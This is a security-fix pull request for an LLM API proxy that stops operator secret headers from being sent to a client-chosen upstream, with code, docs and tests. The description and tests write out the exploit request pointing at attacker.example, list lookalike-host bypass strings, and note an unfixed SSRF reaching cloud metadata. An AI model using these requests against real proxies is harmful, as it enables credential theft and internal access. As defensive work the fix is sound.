fix(proxy): stop operator secrets following a client-chosen upstream (#3122)

## Description

`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.

The two met in the wrong order:

```
openai.py:3127   headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134   upstream_base_url = _resolve_openai_upstream_base(request.headers)
```

The secret was merged **before** the destination was resolved. So:

```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```

reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).

Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.

Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed

### Test Output

```text
tests/test_upstream_credential_scoping.py            15 passed   (new)

Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
  3340 passed, 163 skipped, 1 failed in 164.56s

The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.

ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —

  ```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
  ```

With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found during the same audit, **not fixed here** — each wants its own
change:

- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>

docs/content/docs/configuration.mdx

@@ -151,6 +151,30 @@ curl http://127.0.0.1:8787/v1/messages \
 When `HEADROOM_STRIP_INTERNAL_HEADERS` is `enabled` (the default), the proxy
 reads this header for routing and then strips it before forwarding upstream.
 
+#### Configured secret headers are not sent to arbitrary upstreams
+
+`ANTHROPIC_TARGET_API_HEADERS` / `OPENAI_TARGET_API_HEADERS` hold operator
+secrets. Because `x-headroom-base-url` is chosen by the *client*, those headers
+are only attached when the destination is one the operator designated:
+
+- a host in the configured provider targets (`ANTHROPIC_TARGET_API_URL`,
+  `OPENAI_TARGET_API_URL`, and the Gemini/Vertex/Cloud Code equivalents), or
+- a host listed in `HEADROOM_UPSTREAM_ALLOWED_HOSTS` (comma-separated).
+
+A request to any other upstream is **still proxied** — it just does not carry
+your configured headers, and the proxy logs
+`upstream_extra_headers_withheld host=<host>` once per host. If you route to a
+gateway via this header and need your configured headers to reach it, add its
+host to `HEADROOM_UPSTREAM_ALLOWED_HOSTS`:
+
+```bash
+export HEADROOM_UPSTREAM_ALLOWED_HOSTS="gateway.internal,api.example-gateway.ai"
+```
+
+Matching is on the parsed hostname and is exact — no wildcards — so
+`api.anthropic.com.evil.example` and `https://api.anthropic.com@evil.example`
+do not match `api.anthropic.com`.
+
 ## SmartCrusher Configuration
 
 Fine-tune JSON compression behavior:

docs/content/docs/pipeline-extensions.mdx

@@ -78,6 +78,8 @@ curl http://localhost:8787/v1/chat/completions \
 
 Internal `x-headroom-*` headers (including this one) are stripped before the request is forwarded upstream by default — see `HEADROOM_STRIP_INTERNAL_HEADERS` in [Configuration](/docs/configuration).
 
+Because this header is client-driven, operator-configured secret headers (`OPENAI_TARGET_API_HEADERS` / `ANTHROPIC_TARGET_API_HEADERS`) are only attached when the resolved upstream host is one you designated — a configured provider target, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. Other upstreams are still routed to, just without those headers. See [Configuration](/docs/configuration) for details.
+
 ## Per-request model routing with `request.state.headroom_route`
 
 `x-headroom-base-url` is client-driven and points at one OpenAI-compatible base. When the choice of model belongs to an extension instead of the caller — a router that picks a cheaper model per turn, say — publish it on the request state and Headroom serves that one request from a backend that speaks the target provider:

headroom/providers/codex/live.py

@@ -128,9 +128,13 @@ async def handle_codex_live_websocket(
     )
     forwarded_headers = await apply_copilot_api_auth(forwarded_headers, url=upstream_url)
     config = getattr(proxy, "config", None)
+    # `openai_base_url` comes from the resolved provider target, not from a
+    # request header, so there is no per-request override to gate on here.
     forwarded_headers = merge_extra_headers(
         forwarded_headers,
         getattr(config, "openai_extra_headers", None),
+        upstream_url=None,
+        config=config,
     )
     if not any(key.lower() == "authorization" for key in forwarded_headers):
         if os.environ.get("OPENAI_API_KEY", "").strip():

headroom/proxy/handlers/anthropic.py

@@ -1088,7 +1088,15 @@ class AnthropicHandlerMixin:
 
             _pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
             headers = _strip_internal_headers(headers)
-            headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
+            # `upstream_base_url` is the per-request `x-headroom-base-url`
+            # override when the client sent one. These headers are secrets, so
+            # they only travel to a host the operator designated.
+            headers = merge_extra_headers(
+                headers,
+                self.config.anthropic_extra_headers,
+                upstream_url=upstream_base_url,
+                config=self.config,
+            )
             log_outbound_headers(
                 forwarder="anthropic_messages",
                 stripped_count=_pre_strip_count
@@ -4770,7 +4778,13 @@ class AnthropicHandlerMixin:
 
         _pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
         headers = _strip_internal_headers(headers)
-        headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
+        # Always the configured Anthropic target; no per-request override.
+        headers = merge_extra_headers(
+            headers,
+            self.config.anthropic_extra_headers,
+            upstream_url=None,
+            config=self.config,
+        )
         log_outbound_headers(
             forwarder="anthropic_batch",
             stripped_count=_pre_strip_count,
@@ -5060,7 +5074,13 @@ class AnthropicHandlerMixin:
 
         _pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
         headers = _strip_internal_headers(headers)
-        headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
+        # Always the configured Anthropic target; no per-request override.
+        headers = merge_extra_headers(
+            headers,
+            self.config.anthropic_extra_headers,
+            upstream_url=None,
+            config=self.config,
+        )
         log_outbound_headers(
             forwarder="anthropic_batch_passthrough",
             stripped_count=_pre_strip_count,
@@ -5196,7 +5216,13 @@ class AnthropicHandlerMixin:
 
         _pre_strip_count = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
         headers = _strip_internal_headers(headers)
-        headers = merge_extra_headers(headers, self.config.anthropic_extra_headers)
+        # Always the configured Anthropic target; no per-request override.
+        headers = merge_extra_headers(
+            headers,
+            self.config.anthropic_extra_headers,
+            upstream_url=None,
+            config=self.config,
+        )
         log_outbound_headers(
             forwarder="anthropic_batch_results",
             stripped_count=_pre_strip_count,

headroom/proxy/handlers/openai.py

@@ -3125,7 +3125,14 @@ class OpenAIHandlerMixin:
 
         _pre_strip_count_chat = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
         headers = _strip_internal_headers(headers)
-        headers = merge_extra_headers(headers, self.config.openai_extra_headers)
+        # `custom_upstream_base_url` is the per-request `x-headroom-base-url`
+        # override resolved above. Secrets only go to designated hosts.
+        headers = merge_extra_headers(
+            headers,
+            self.config.openai_extra_headers,
+            upstream_url=custom_upstream_base_url,
+            config=self.config,
+        )
         log_outbound_headers(
             forwarder="openai_chat_completions",
             stripped_count=_pre_strip_count_chat,
@@ -5117,7 +5124,15 @@ class OpenAIHandlerMixin:
 
         _pre_strip_count_resp = sum(1 for k in headers if k.lower().startswith("x-headroom-"))
         headers = _strip_internal_headers(headers)
-        headers = merge_extra_headers(headers, self.config.openai_extra_headers)
+        # This handler also honors `x-headroom-base-url` (resolved further
+        # below); resolve it here too so the secret headers are gated on the
+        # real destination rather than merged before it is known.
+        headers = merge_extra_headers(
+            headers,
+            self.config.openai_extra_headers,
+            upstream_url=_resolve_openai_upstream_base(request.headers),
+            config=self.config,
+        )
         # Mirror the WS handler: never forward Codex's client-only lite header
         # upstream. OpenAI rejects newer Codex models when it leaks, and the HTTP
         # POST path (unlike the WS path) otherwise forwards request headers verbatim.
@@ -6603,8 +6618,13 @@ class OpenAIHandlerMixin:
             upstream: Any = None
             from headroom.proxy.helpers import merge_extra_headers
 
+            # The WS upstream is derived from config (chatgpt.com backend or
+            # OPENAI_API_URL), never from a request header.
             upstream_headers = merge_extra_headers(
-                upstream_headers, self.config.openai_extra_headers
+                upstream_headers,
+                self.config.openai_extra_headers,
+                upstream_url=None,
+                config=self.config,
             )
 
             for ws_attempt in range(ws_connect_attempts):

headroom/proxy/helpers.py

@@ -1602,15 +1602,40 @@ def _strip_internal_headers(headers: dict[str, str]) -> dict[str, str]:
     return strip_internal_headers(headers, mode=get_strip_internal_headers_mode())
 
 
-def merge_extra_headers(headers: dict[str, str], extra: dict[str, str] | None) -> dict[str, str]:
+def merge_extra_headers(
+    headers: dict[str, str],
+    extra: dict[str, str] | None,
+    *,
+    upstream_url: str | None,
+    config: Any = None,
+) -> dict[str, str]:
     """Merge configured extra headers into ``headers``, overriding same-named keys.
 
     ``extra`` comes from ``ProxyConfig.anthropic_extra_headers``/``openai_extra_headers``
     (settings-panel/CLI-configured, for gateways that need one extra header alongside the
     client's own auth). Returns ``headers`` unchanged (no copy) when nothing is configured.
+
+    ``upstream_url`` is where these headers are about to be sent, and it is
+    **required** rather than optional on purpose. These values are secrets, and
+    several handlers accept a per-request upstream from the ``x-headroom-base-url``
+    request header; merging before the destination was known is what let a client
+    redirect the operator's gateway key to a host of its choosing. Making the
+    destination part of the signature means a new forwarder cannot merge a secret
+    without saying where it goes, so this cannot silently regress.
+
+    Pass ``None`` when the caller is going to its configured target with no
+    per-request override. Anything else is checked against
+    ``upstream_trust.is_trusted_upstream``; an undesignated host still gets its
+    request proxied, just without these headers.
     """
     if not extra:
         return headers
+    if upstream_url is not None:
+        from headroom.proxy.upstream_trust import is_trusted_upstream, warn_untrusted_once
+
+        if not is_trusted_upstream(upstream_url, config):
+            warn_untrusted_once(upstream_url)
+            return headers
     # HTTP header names are case-insensitive: drop any existing key that
     # case-insensitively collides with a configured extra so the extra wins.
     # A plain {**headers, **extra} would emit both casings upstream.

headroom/proxy/upstream_trust.py

@@ -0,0 +1,150 @@
+"""Which upstreams are allowed to receive the operator's *own* credentials.
+
+``x-headroom-base-url`` lets a client pick the upstream for a single request, so
+OpenAI-compatible gateways (LiteLLM, Azure, self-hosted vLLM) route through the
+dedicated handlers instead of the generic passthrough. That is a deliberate
+feature and this module does not take it away.
+
+What it takes away is the credential that used to ride along. ``*_extra_headers``
+is operator-configured, marked ``secret=True`` in the settings store, and its own
+help text suggests an API key as the example value. It was merged into the
+upstream-bound header set *before* the destination was resolved, so a request
+carrying ``X-Headroom-Base-Url: https://attacker.example`` reached the attacker's
+host with the operator's gateway key attached — one request, no user interaction,
+from anything able to talk to the proxy port.
+
+The rule here is the one ``copilot_auth.is_copilot_upstream_url`` already applies
+to Headroom's own Copilot token, generalized: **a secret only travels to a host
+the operator designated.** Designated means one of
+
+* a host in the resolved provider API targets (``ANTHROPIC_TARGET_API_URL``,
+  ``OPENAI_TARGET_API_URL``, and the Gemini/Vertex/Cloud Code equivalents), or
+* a host listed in ``HEADROOM_UPSTREAM_ALLOWED_HOSTS`` (comma-separated).
+
+Anything else still gets proxied — the request is not blocked — it just does not
+get the operator's headers.
+
+Matching is on the parsed hostname, never the URL string: comparing whole strings
+lets ``https://api.anthropic.com@evil.example`` and ``https://api.anthropic.com.evil.example``
+through, and a base URL matches while base+path does not. Exact hostname equality
+only; no wildcards, because a suffix rule that forgets the label boundary is the
+usual way this class of check fails open.
+"""
+
+from __future__ import annotations
+
+import logging
+import os
+from typing import Any
+from urllib.parse import urlparse
+
+logger = logging.getLogger("headroom.proxy")
+
+ALLOWED_HOSTS_ENV = "HEADROOM_UPSTREAM_ALLOWED_HOSTS"
+
+#: Config attributes holding an operator-designated upstream.
+_API_URL_ATTRS = (
+    "anthropic_api_url",
+    "openai_api_url",
+    "gemini_api_url",
+    "cloudcode_api_url",
+    "vertex_api_url",
+    "bedrock_api_url",
+)
+
+# Hosts that are always operator-designated: they are what the provider targets
+# resolve to when nothing is overridden, so omitting them would refuse the
+# headers on a completely default install.
+_DEFAULT_HOSTS = frozenset(
+    {
+        "api.anthropic.com",
+        "api.openai.com",
+    }
+)
+
+# Warn once per destination rather than once per request; a client looping on a
+# rejected host would otherwise flood the log.
+_warned_hosts: set[str] = set()
+
+
+def url_host(value: str | None) -> str | None:
+    """Return the lowercase hostname for ``value``, tolerating a missing scheme.
+
+    ``urlparse("api.example.com/v1").hostname`` is ``None`` — the whole value is
+    read as a path — so a scheme-less configured URL would otherwise contribute
+    nothing to the trusted set and silently widen or narrow the check.
+    """
+
+    if not value:
+        return None
+    candidate = value.strip()
+    if not candidate:
+        return None
+    parsed = urlparse(candidate)
+    if not parsed.hostname and "//" not in candidate:
+        parsed = urlparse(f"//{candidate}")
+    host = parsed.hostname
+    return host.lower() if host else None
+
+
+def _env_allowed_hosts() -> set[str]:
+    raw = os.environ.get(ALLOWED_HOSTS_ENV, "")
+    hosts: set[str] = set()
+    for entry in raw.split(","):
+        # Accept a bare host or a full URL, so operators can paste either.
+        host = url_host(entry) if entry.strip() else None
+        if host:
+            hosts.add(host)
+    return hosts
+
+
+def trusted_upstream_hosts(config: Any = None) -> frozenset[str]:
+    """Hosts permitted to receive operator-configured secret headers."""
+
+    hosts = set(_DEFAULT_HOSTS)
+    for attr in _API_URL_ATTRS:
+        host = url_host(getattr(config, attr, None))
+        if host:
+            hosts.add(host)
+    hosts |= _env_allowed_hosts()
+    return frozenset(hosts)
+
+
+def is_trusted_upstream(url: str | None, config: Any = None) -> bool:
+    """True when ``url`` is a destination the operator designated.
+
+    ``None``/empty means "no per-request override" — the handler is going to the
+    configured target — so it is trusted.
+    """
+
+    if not url:
+        return True
+    host = url_host(url)
+    if not host:
+        # Unparseable destination: refuse rather than guess.
+        return False
+    return host in trusted_upstream_hosts(config)
+
+
+def warn_untrusted_once(url: str | None, *, request_id: str | None = None) -> None:
+    """Log the refusal once per host, with the remedy in the message."""
+
+    host = url_host(url) or "<unparseable>"
+    if host in _warned_hosts:
+        return
+    _warned_hosts.add(host)
+    prefix = f"[{request_id}] " if request_id else ""
+    logger.warning(
+        "%supstream_extra_headers_withheld host=%s reason=not_operator_designated. "
+        "The configured extra headers are secret and were NOT sent to this host. "
+        "If this upstream is legitimate, add it to %s (comma-separated hosts).",
+        prefix,
+        host,
+        ALLOWED_HOSTS_ENV,
+    )
+
+
+def reset_warning_state() -> None:
+    """Test hook: clear the once-per-host warning memo."""
+
+    _warned_hosts.clear()

tests/test_header_isolation.py

@@ -625,7 +625,9 @@ def test_anthropic_no_extra_headers_configured_is_unchanged() -> None:
 def test_merge_extra_headers_overrides_case_insensitively() -> None:
     """A configured extra header wins even when the client used different casing."""
     out = merge_extra_headers(
-        {"Authorization": "client", "keep": "v"}, {"authorization": "gateway"}
+        {"Authorization": "client", "keep": "v"},
+        {"authorization": "gateway"},
+        upstream_url=None,
     )
     assert out == {"authorization": "gateway", "keep": "v"}
     # Exactly one authorization header survives (no duplicate casings upstream).
@@ -635,4 +637,4 @@ def test_merge_extra_headers_overrides_case_insensitively() -> None:
 def test_merge_extra_headers_none_returns_same_object() -> None:
     """No configured extras -> caller's dict is returned unchanged (no copy)."""
     headers = {"a": "b"}
-    assert merge_extra_headers(headers, None) is headers
+    assert merge_extra_headers(headers, None, upstream_url=None) is headers

tests/test_upstream_credential_scoping.py

@@ -0,0 +1,248 @@
+"""The operator's own secrets must never follow a client-chosen upstream.
+
+``x-headroom-base-url`` lets a client pick the upstream for a single request so
+OpenAI-compatible gateways route through the dedicated handlers. That is a
+feature and these tests do not remove it.
+
+What they pin is the credential that used to ride along. ``*_extra_headers`` is
+operator-configured and marked ``secret=True`` in the settings store — its own
+help text uses an API key as the example. It was merged into the upstream-bound
+headers *before* the destination was resolved, so:
+
+    POST /v1/messages
+    X-Headroom-Base-Url: https://attacker.example
+
+reached the attacker's host carrying the operator's gateway key. One request, no
+user interaction, from anything able to reach the proxy port.
+
+The rule now is the one ``copilot_auth.is_copilot_upstream_url`` already applied
+to Headroom's own Copilot token, generalized: a secret only travels to a host the
+operator designated. Undesignated hosts still get proxied — just without the
+secret.
+"""
+
+from __future__ import annotations
+
+import httpx
+import pytest
+
+pytest.importorskip("fastapi")
+
+from fastapi.testclient import TestClient  # noqa: E402
+
+from headroom.proxy.helpers import merge_extra_headers  # noqa: E402
+from headroom.proxy.server import ProxyConfig, create_app  # noqa: E402
+from headroom.proxy.upstream_trust import (  # noqa: E402
+    ALLOWED_HOSTS_ENV,
+    is_trusted_upstream,
+    reset_warning_state,
+    url_host,
+)
+
+ATTACKER = "https://attacker.example"
+GATEWAY_SECRET = {"Api-Key": "corp-gateway-secret"}
+
+
+@pytest.fixture(autouse=True)
+def _clear_warn_memo():
+    reset_warning_state()
+    yield
+    reset_warning_state()
+
+
+class _Capturing(httpx.AsyncBaseTransport):
+    def __init__(self) -> None:
+        self.headers: dict[str, str] | None = None
+        self.url: str | None = None
+
+    async def handle_async_request(self, request: httpx.Request) -> httpx.Response:
+        async for _ in request.stream:
+            pass
+        self.headers = {k.lower(): v for k, v in request.headers.items()}
+        self.url = str(request.url)
+        return httpx.Response(
+            200,
+            json={
+                "id": "msg_1",
+                "type": "message",
+                "role": "assistant",
+                "content": [{"type": "text", "text": "ok"}],
+                "usage": {
+                    "input_tokens": 10,
+                    "output_tokens": 3,
+                    "cache_read_input_tokens": 0,
+                    "cache_creation_input_tokens": 0,
+                },
+            },
+        )
+
+
+def _app(**overrides) -> tuple[TestClient, _Capturing]:
+    config = ProxyConfig(
+        optimize=False,
+        cache_enabled=False,
+        rate_limit_enabled=False,
+        cost_tracking_enabled=False,
+        log_requests=False,
+        ccr_inject_tool=False,
+        ccr_handle_responses=False,
+        ccr_context_tracking=False,
+        image_optimize=False,
+        anthropic_extra_headers=dict(GATEWAY_SECRET),
+        **overrides,
+    )
+    app = create_app(config)
+    transport = _Capturing()
+    app.state.proxy.http_client = httpx.AsyncClient(transport=transport)
+    return TestClient(app), transport
+
+
+def _post(client: TestClient, base_url: str | None):
+    headers = {"x-api-key": "client-key", "anthropic-version": "2023-06-01"}
+    if base_url:
+        headers["x-headroom-base-url"] = base_url
+    return client.post(
+        "/v1/messages",
+        headers=headers,
+        json={
+            "model": "claude-sonnet-4-6",
+            "max_tokens": 16,
+            "messages": [{"role": "user", "content": "hi"}],
+        },
+    )
+
+
+# --------------------------------------------------------------------------- #
+# The reported vulnerability
+# --------------------------------------------------------------------------- #
+def test_operator_secret_does_not_follow_a_client_chosen_upstream() -> None:
+    """The exploit: one header, and the gateway key went to the attacker."""
+    client, transport = _app()
+
+    resp = _post(client, ATTACKER)
+
+    assert resp.status_code == 200, resp.text
+    assert transport.headers is not None
+    # The secret did NOT travel.
+    assert "api-key" not in transport.headers
+    assert GATEWAY_SECRET["Api-Key"] not in str(transport.headers)
+
+
+def test_the_request_is_still_proxied_just_without_the_secret() -> None:
+    """Failing closed on the credential, not on the request.
+
+    Withholding the header is the fix; refusing to proxy would be a different
+    (and breaking) product decision.
+    """
+    client, transport = _app()
+
+    resp = _post(client, ATTACKER)
+
+    assert resp.status_code == 200
+    assert transport.url is not None and "attacker.example" in transport.url
+    # The client's own credential is untouched — only the operator's is scoped.
+    assert transport.headers is not None
+    assert transport.headers.get("x-api-key") == "client-key"
+
+
+# --------------------------------------------------------------------------- #
+# What must keep working
+# --------------------------------------------------------------------------- #
+def test_secret_still_reaches_the_configured_target() -> None:
+    """No override -> the ordinary path is completely unchanged."""
+    client, transport = _app()
+
+    resp = _post(client, None)
+
+    assert resp.status_code == 200
+    assert transport.headers is not None
+    assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
+
+
+def test_secret_reaches_an_override_that_matches_the_configured_target() -> None:
+    """Pointing the override at the operator's own gateway is designated by definition."""
+    client, transport = _app(anthropic_api_url="https://corp-gw.internal")
+
+    resp = _post(client, "https://corp-gw.internal")
+
+    assert resp.status_code == 200
+    assert transport.headers is not None
+    assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
+
+
+def test_operator_can_designate_extra_hosts_via_env(monkeypatch) -> None:
+    """The escape hatch the warning message tells operators about."""
+    monkeypatch.setenv(ALLOWED_HOSTS_ENV, "attacker.example")
+    client, transport = _app()
+
+    resp = _post(client, ATTACKER)
+
+    assert resp.status_code == 200
+    assert transport.headers is not None
+    assert transport.headers.get("api-key") == GATEWAY_SECRET["Api-Key"]
+
+
+# --------------------------------------------------------------------------- #
+# Host matching — the ways this class of check fails open
+# --------------------------------------------------------------------------- #
+@pytest.mark.parametrize(
+    "hostile",
+    [
+        # userinfo trick: everything before '@' is credentials, not the host
+        "https://api.anthropic.com@evil.example/v1/messages",
+        # missing label boundary
+        "https://api.anthropic.com.evil.example/v1/messages",
+        # substring, not a host
+        "https://evil.example/?x=api.anthropic.com",
+        "https://notapi.anthropic.com.evil.example",
+    ],
+)
+def test_lookalike_hosts_are_not_trusted(hostile: str) -> None:
+    assert is_trusted_upstream(hostile, None) is False
+
+
+def test_base_url_and_base_plus_path_agree() -> None:
+    """Compared by host, so adding a path cannot flip the verdict.
+
+    A whole-string comparison would say True for the base and False for
+    base+path, which is exactly how a gate ends up applying to routing but not
+    to the credential attach.
+    """
+    for candidate in (
+        "https://api.anthropic.com",
+        "https://api.anthropic.com/",
+        "https://api.anthropic.com/v1/messages?beta=true",
+    ):
+        assert is_trusted_upstream(candidate, None) is True
+
+
+def test_scheme_less_host_is_still_parsed() -> None:
+    """`urlparse` returns hostname=None without a scheme; that must not read as trusted."""
+    assert url_host("api.anthropic.com/v1") == "api.anthropic.com"
+    assert is_trusted_upstream("api.anthropic.com/v1", None) is True
+    assert is_trusted_upstream("evil.example/v1", None) is False
+
+
+def test_unparseable_destination_is_refused() -> None:
+    assert is_trusted_upstream("://", None) is False
+
+
+def test_no_override_means_trusted() -> None:
+    """`None` is 'going to the configured target', not 'unknown'."""
+    assert is_trusted_upstream(None, None) is True
+    assert is_trusted_upstream("", None) is True
+
+
+# --------------------------------------------------------------------------- #
+# The helper contract
+# --------------------------------------------------------------------------- #
+def test_merge_requires_a_declared_destination() -> None:
+    """`upstream_url` is keyword-only and required, so a new forwarder cannot
+    merge a secret without saying where it goes."""
+    with pytest.raises(TypeError):
+        merge_extra_headers({"a": "b"}, {"x": "y"})  # type: ignore[call-arg]
+
+
+def test_merge_without_extras_is_a_passthrough_regardless_of_destination() -> None:
+    headers = {"a": "b"}
+    assert merge_extra_headers(headers, None, upstream_url=ATTACKER) is headers